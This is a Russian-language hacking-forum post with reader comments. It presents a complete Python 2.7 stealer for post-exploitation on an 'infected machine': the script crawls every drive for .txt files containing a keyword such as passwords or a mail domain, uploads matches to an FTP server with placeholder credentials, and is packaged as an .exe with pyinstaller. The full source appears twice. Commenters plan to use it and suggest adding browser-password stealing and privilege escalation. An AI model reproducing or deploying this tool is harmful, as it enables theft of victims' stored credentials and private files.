Статья Пишем бинарник для пост-эксплуатации зараженной системы или собираем пароли с .txt файлов.

Всем привет, мне было скучно и я решил написать программу, которая будет искать все .txt файлы,содержащие пароли, на компутере и отправлять нам на FTP.
Возможно это вам покажется бесполезным, но решать вам. Есть такие люди, которые хранят в .txt файлах пароли и прочее, и таких не мало.
Писать мы будем с вами на python 2.7 версии.

ВОЗМОЖНО ПРИСУТСТВУЕТ ГОВНОКОД!

И прежде чем мы начнем, напишите ваши идеи в комментарии, что можно сделать для пост-эксплуатации системы, возможно я это сделаю)
Начинаю программировать я обычно с правильной музычки. Подбираем ее.
Теперь можно начинать

Пишем # -*- coding: utf-8 -*-, здесь мы указуем чтобы файл сохранялся в utf-8.
Теперь подключим библиотеки, которые мы будем использовать, я выбрал такие
Код:
import ftplib
import os
import random
import argparse

После этого я обычно ввожу переменные, необходимые для работы
Код:
disks = []
tmp = []
good = []
appdata = os.environ['appdata'] # Получаем %appdata%

Тк.к моя задумка была в том, чтобы он искал в файлах пароли по ключевому слову, я думаю будет лучше если ключевое слово будет вводиться как аргумент, а не как переменная в программе.
Код:
parser = argparse.ArgumentParser(description='Enter word to search')
parser.add_argument('-w', help = 'word to search')
args = parser.parse_args()
word = args.w
word.decode('cp1251')# Для русского языка

Теперь давай определим функции. Первой функцией будет подключение к FTP и отправка, я выбрал FTP, вы же можете выбрать другой метод.

Код:
def ConnectFTP(filename): #Принимает путь до файла
    host = "host" # Здесь данные от FTP
    ftp_user = "user"# Здесь данные от FTP
    ftp_password = "pass"# Здесь данные от FTP
    ran = random.randint(1, 99999)# Это рандомное имя файла в цифрах
    name = str(ran) + ".txt" # Name будет равно например этому: 45215.txt

    con = ftplib.FTP(host, ftp_user, ftp_password) #Тут мы подключаемся к нашему FTP
    handle = open(filename, "rb") # Открываем в двоичном режиме файл
    send = con.storbinary("STOR " + name, handle) # Отправляем на FTP
    con.close # Закрываем соеденение

Теперь я хочу получить все диски в системе,на которые можно перейти

Код:
def GetDisk(): #Ничего не принимает
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']: #Мы знаем, что диски обозначаются буквами  английского алфавита, занесем его в список и цикл for переберет их
        try:    #Ставлю перехватчик
            path = x + ":\\" # Тут получается путь, типа C:\\
            os.chdir(path) #Меняем директорию
            retval = os.getcwd() # Текущая рабочая директория
            disks.append(retval) # Добавляем в список disks
        except WindowsError: # Если он не сможет попасть в директорию F:\\ например, вылетит ошибка, значит такого диска нету
            continue #Продолжить цикл

Теперь пишем функцию, которая будет проходить через все папки и подпапки и получать файлы

Код:
def GetDirectory(path): #Принимает path
    for rootdir, dirs, files in os.walk(path): # Запускаем цикл в os.walk(path)
            for file in files:    # Еще один цикл
                   if((file.decode('cp1251').split('.')[-1])=='txt'): #Пример: trr.txt он отбрасывает trr и проверяет если формат .txt то присоединяется(текст) к sek
                    sek = os.path.join(rootdir, file)
                    tmp.append(sek) # Добавляется в временный список

Теперь прописуем вызов функции GetDisk()

Теперь передадим нашей функции GetDirectory() диски(мы их получили при вызове функции GetDisk() )
Код:
for d in disks: # Берет диски из списка disks
    GetDirectory(d) #Вызывает метод, который пробегает по диску и смотри какие там файлы

Теперь напишем проверку по ключевому слову

Код:
for j in tmp: # Цикл в списке tmp
    try: #Ставим перехватчик
        handle = open(j) # Открывает файл(Путь берем из списка tmp)
    except IOError:
        continue #Если будет ошибка, что прав недостаточно, продолжает цикл.
    temp = handle.read() # Считывает файл
    if word in temp: #Если ключевое слово есть в файле, который мы считали, он заноситься в список good
        good.append(j)

Теперь напишем отправку файлов, в которых нашлось ключевое слово

Код:
for sender in good: # Цикл в списке good, он передает пути в отправляющую функцию
    ConnectFTP(sender)

Так теперь подумаем, на тачке не установлен python и устанавливать нам его лень или мы не можем. На помощь нам приходит pyinstaller, устанавливаем его и пишем pyinstaller -F <имя скрипта.py>
На выходе мы получаем .exe файл без зависимости от python.
Все готово, теперь мы можем закинуть его на зараженную машину и собрать интересные файлы.
Обращение к файлу будет такое: <имя файла.exe > -w <ключевое слово> например graber.exe -w @mail.ru.
Спасибо что дочитали до конца) пишите чтобы вы исправили/добавили, приму любую критику если она уместна)
Также напишите ваши идеи для пост-эксплуатации, возможно сделаю.

PS Для удобства вот код целого файла
Код:
# -*- coding: utf-8 -*-
import ftplib
import os
import random
import argparse
disks = []
tmp = []
good = []
appdata = os.environ['appdata']
parser = argparse.ArgumentParser(description='Enter word to search')
parser.add_argument('-w', help = 'word to search')
args = parser.parse_args()
word = args.w
word.decode('cp1251')
def ConnectFTP(filename):
    host = "host"
    ftp_user = "user"
    ftp_password = "pass"
    ran = random.randint(1, 99999)
    name = str(ran) + ".txt"

    con = ftplib.FTP(host, ftp_user, ftp_password)
    handle = open(filename, "rb")
    send = con.storbinary("STOR " + name, handle)
    con.close


def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue

def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
            for file in files:
                   if((file.decode('cp1251').split('.')[-1])=='txt'):
                    sek = os.path.join(rootdir, file)
                    tmp.append(sek)
        
GetDisk()
for d in disks:
    GetDirectory(d)

for j in tmp:
    try:
        handle = open(j)
    except IOError:
        continue
    temp = handle.read()
    if word in temp:
        good.append(j)
for sender in good:
    ConnectFTP(sender)
 
Последнее редактирование:

valerian38

Grey Team
20.07.2016
662
764
BIT
79
Самокритично - это я на счёт говнокода. Вообще конечно у программистов есть такая фишка - обвинять других программистов в написании говнокода. Спасибо! попробуем заюзать вашу прогу.
 

Tayrus

Red Team
13.04.2017
365
787
BIT
6
Самокритично - это я на счёт говнокода. Вообще конечно у программистов есть такая фишка - обвинять других программистов в написании говнокода. Спасибо! попробуем заюзать вашу прогу.
Всегда на шаг впереди)
 

Djon253

Green Team
15.11.2017
120
93
BIT
6
Очень интересно. Особенно для тех кто начинает изучать Python (я про себя:)).
Построение кода, библиотеки и тд.
Если брать за основу, то дописывать можно бесконечно.

Автору огромное спасибо. И если бы продолжил тему, думаю вышел бы очень интересный пост.

Что бы можно было добавить?! Ну может быть, если это возможно, повышение привилегий. Более подробный сбор нужных файлов (как то лог и пас) из системы, и в том числе из браузеров, и тд. Т.е. функции стиллера. Можно добавить так же модуль грабера и т.д.

(y)(y)(y)(y)
 
  • Нравится
Реакции: DefWolf и valerian38

Djon253

Green Team
15.11.2017
120
93
BIT
6
  • Нравится
Реакции: kombat
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!